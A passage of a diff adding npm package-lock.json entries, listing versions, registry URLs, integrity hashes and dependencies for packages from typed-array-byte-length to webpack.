"dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz", + "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz", + "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.1.6.tgz", + "integrity": "sha512-zaWCozRZ6DLEWAWFrVDz1H6FVXzUSfTy5FUMWsQlU8Ym5JP9eO4xkTIROFCQvhQf61z6O/G6ugw3SgAnvvm+HA==", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/ua-parser-js": { + "version": "1.0.35", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-1.0.35.tgz", + "integrity": "sha512-fKnGuqmTBnIE+/KXSzCn4db8RTigUzw1AN0DmdU6hJovUTbYJKyqj+8Mt1c4VfRDnOVJnENmfYkIPZ946UrSAA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/ua-parser-js" + }, + { + "type": "paypal", + "url": "https://paypal.me/faisalman" + } + ], + "engines": { + "node": "*" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/unescape": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unescape/-/unescape-1.0.1.tgz", + "integrity": "sha512-O0+af1Gs50lyH1nUu3ZyYS1cRh01Q/kUKatTOkSs7jukXE6/NebucDVxyiDsA9AQ4JC1V1jUH9EO8JX2nMDgGQ==", + "dependencies": { + "extend-shallow": "^2.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unherit": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz", + "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==", + "dependencies": { + "inherits": "^2.0.0", + "xtend": "^4.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unified": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", + "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", + "dependencies": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unified/node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/unique-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dependencies": { + "crypto-random-string": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/unist-builder": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-builder/-/unist-builder-2.0.3.tgz", + "integrity": "sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-generated": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-1.1.6.tgz", + "integrity": "sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-3.1.0.tgz", + "integrity": "sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unist-util-remove/-/unist-util-remove-2.1.0.tgz", + "integrity": "sha512-J8NYPyBm4baYLdCbjmf1bhPu45Cr1MWTm77qd9istEkzWpnN6O9tMsEbB2JhNnBCqGENRqEWomQ+He6au0B27Q==", + "dependencies": { + "unist-util-is": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove-position": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz", + "integrity": "sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==", + "dependencies": { + "unist-util-visit": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", + "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", + "dependencies": { + "@types/unist": "^2.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.3.tgz", + "integrity": "sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^4.0.0", + "unist-util-visit-parents": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz", + "integrity": "sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/update-notifier": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-5.1.0.tgz", + "integrity": "sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==", + "dependencies": { + "boxen": "^5.0.0", + "chalk": "^4.1.0", + "configstore": "^5.0.1", + "has-yarn": "^2.1.0", + "import-lazy": "^2.1.0", + "is-ci": "^2.0.0", + "is-installed-globally": "^0.4.0", + "is-npm": "^5.0.0", + "is-yarn-global": "^0.3.0", + "latest-version": "^5.1.0", + "pupa": "^2.1.1", + "semver": "^7.3.4", + "semver-diff": "^3.1.1", + "xdg-basedir": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/yeoman/update-notifier?sponsor=1" + } + }, + "node_modules/update-notifier/node_modules/boxen": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/boxen/-/boxen-5.1.2.tgz", + "integrity": "sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==", + "dependencies": { + "ansi-align": "^3.0.0", + "camelcase": "^6.2.0", + "chalk": "^4.1.0", + "cli-boxes": "^2.2.1", + "string-width": "^4.2.2", + "type-fest": "^0.20.2", + "widest-line": "^3.1.0", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/update-notifier/node_modules/cli-boxes": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", + "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/update-notifier/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/update-notifier/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/update-notifier/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/update-notifier/node_modules/widest-line": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz", + "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==", + "dependencies": { + "string-width": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/update-notifier/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/uri-js/node_modules/punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/url-loader": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-4.1.1.tgz", + "integrity": "sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA==", + "dependencies": { + "loader-utils": "^2.0.0", + "mime-types": "^2.1.27", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "file-loader": "*", + "webpack": "^4.0.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "file-loader": { + "optional": true + } + } + }, + "node_modules/url-loader/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/url-loader/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha512-NjFKA0DidqPa5ciFcSrXnAltTtzz84ogy+NebPvfEgAck0+TNg4UJ4IN+fB7zRZfbgUf0syOo9MDxFkDSMuFaQ==", + "dependencies": { + "prepend-http": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "dependencies": { + "use-isomorphic-layout-effect": "^1.1.1" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sync-external-store": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.2.0.tgz", + "integrity": "sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==" + }, + "node_modules/utility-types": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.10.0.tgz", + "integrity": "sha512-O11mqxmi7wMKCo6HKFt5AhO4BwY3VV68YU07tgxfz8zJTIxr4BpsezN49Ffwy9j3ZpwwJp4fkRwjRzq3uWE6Rg==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vfile": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", + "dependencies": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^2.0.0", + "vfile-message": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-3.2.0.tgz", + "integrity": "sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", + "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vlq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/vlq/-/vlq-1.0.1.tgz", + "integrity": "sha512-gQpnTgkubC6hQgdIcRdYGDSDc+SaujOdyesZQMv6JlfQee/9Mp0Qhnys6WxDWvQnL5WZdT7o2Ul187aSt0Rq+w==" + }, + "node_modules/wait-on": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/wait-on/-/wait-on-6.0.1.tgz", + "integrity": "sha512-zht+KASY3usTY5u2LgaNqn/Cd8MukxLGjdcZxT2ns5QzDmTFc4XoWBgC+C/na+sMRZTuVygQoMYwdcVjHnYIVw==", + "dependencies": { + "axios": "^0.25.0", + "joi": "^17.6.0", + "lodash": "^4.17.21", + "minimist": "^1.2.5", + "rxjs": "^7.5.4" + }, + "bin": { + "wait-on": "bin/wait-on" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/web-namespaces": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-1.1.4.tgz", + "integrity": "sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.2.1.tgz", + "integrity": "sha512-e0MO3wdXWKrLbL0DgGnUV7WHVuw9OUvL4hjgnPkIeEvESk74gAITi5G606JtZPp39cd8HA9VQzCIvA49LpPN5Q==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" + }, + "node_modules/webpack": { + "version": "5.88.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz", + "integrity": 